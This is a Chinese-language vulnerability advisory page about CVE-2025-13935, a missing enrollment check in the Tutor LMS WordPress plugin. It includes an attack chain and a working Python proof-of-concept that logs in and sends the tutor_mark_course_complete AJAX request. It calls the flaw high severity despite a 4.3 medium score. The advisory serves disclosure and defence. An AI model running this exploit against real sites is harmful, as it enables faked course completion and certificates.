IPBUF安全漏洞报告
English
CVE-2025-13935 CVSS 4.3 中危

CVE-2025-13935 Tutor LMS插件未授权课程完成漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-13935
漏洞类型
失效的访问控制
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tutor LMS WordPress插件

相关标签

CVE-2025-13935WordPress插件漏洞失效的访问控制未授权操作Tutor LMS在线教育平台课程完成绕过Broken Access Control

漏洞概述

CVE-2025-13935是WordPress平台下Tutor LMS在线课程解决方案插件中的一个高危安全漏洞。该漏洞存在于所有3.9.2及以前版本中,由于mark_course_complete函数缺少必要的注册验证(enrollment verification)机制,导致已认证的低权限用户(订阅者级别及以上)可以在未经授权的情况下标记任意课程为已完成状态。攻击者可利用此漏洞伪造学习进度,骗取课程完成认证,进而可能获取付费课程内容、颁发虚假结业证书或影响学习平台的信誉和数据完整性。由于该漏洞无需特殊权限或用户交互即可被利用,因此具有较高的实际威胁性。

技术细节

该漏洞属于OWASP Top 10 2021中的A01:2021 - Broken Access Control类别。具体而言,Tutor LMS插件的mark_course_complete函数在处理课程完成请求时,仅验证用户是否已登录(is_user_logged_in),但未验证该用户是否真正注册了该课程(is_enrolled)。攻击者只需拥有WordPress订阅者(subscriber)级别账号,即可通过构造恶意请求调用该函数,将任意课程标记为自己已完成。漏洞代码位于classes/Course.php文件中,攻击者可通过REST API或AJAX端点发送请求。修复方案需在该函数中添加is_enrolled($course_id, $user_id)验证逻辑,确保只有真正注册该课程的用户才能完成课程。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress订阅者(subscriber)级别账号,该权限为最低级别权限
STEP 2
步骤2
攻击者识别目标课程ID,可通过课程页面URL或API获取
STEP 3
步骤3
攻击者构造AJAX请求发送至/wp-admin/admin-ajax.php,action参数设为tutor_mark_course_complete,course_id参数设为目标课程ID
STEP 4
步骤4
服务器端mark_course_complete函数验证用户已登录但未验证课程注册状态,直接将课程标记为已完成
STEP 5
步骤5
攻击者成功伪造课程完成记录,可获取结业证书或访问后续课程内容

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13935 PoC - Tutor LMS Unauthorized Course Complete # Affected: Tutor LMS <= 3.9.2 # Author: Security Researcher # Reference: https://plugins.trac.wordpress.org/changeset/3422766/tutor/trunk/classes/Course.php import requests import sys from urllib.parse import urljoin def exploit_cve_2025_13935(target_url, username, password, course_id): """ Exploit for CVE-2025-13935: Tutor LMS Missing Enrollment Verification Allows authenticated users to mark any course as complete without enrollment. """ session = requests.Session() # Step 1: Authenticate with WordPress login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print('[-] Authentication failed') return False print('[+] Authentication successful') # Step 2: Mark course as complete without enrollment verification complete_url = urljoin(target_url, '/wp-admin/admin-ajax.php') exploit_data = { 'action': 'tutor_mark_course_complete', 'course_id': course_id } complete_response = session.post(complete_url, data=exploit_data) if complete_response.status_code == 200: print(f'[+] Course {course_id} marked as complete') print(f'[+] Response: {complete_response.text}') return True else: print(f'[-] Exploit failed with status {complete_response.status_code}') return False if __name__ == '__main__': if len(sys.argv) < 5: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password> <course_id>') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] course = sys.argv[4] exploit_cve_2025_13935(target, user, pwd, course)

影响范围

Tutor LMS < 3.9.3
Tutor LMS 3.9.2及以前所有版本

防御指南

临时缓解措施
在官方补丁发布前,可通过以下方式临时缓解:1)使用WordPress安全插件(如Wordfence)限制低权限用户访问课程完成功能;2)禁用课程完成AJAX端点;3)临时降级至稳定版本;4)加强用户权限管理,限制课程注册功能仅对管理员开放。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表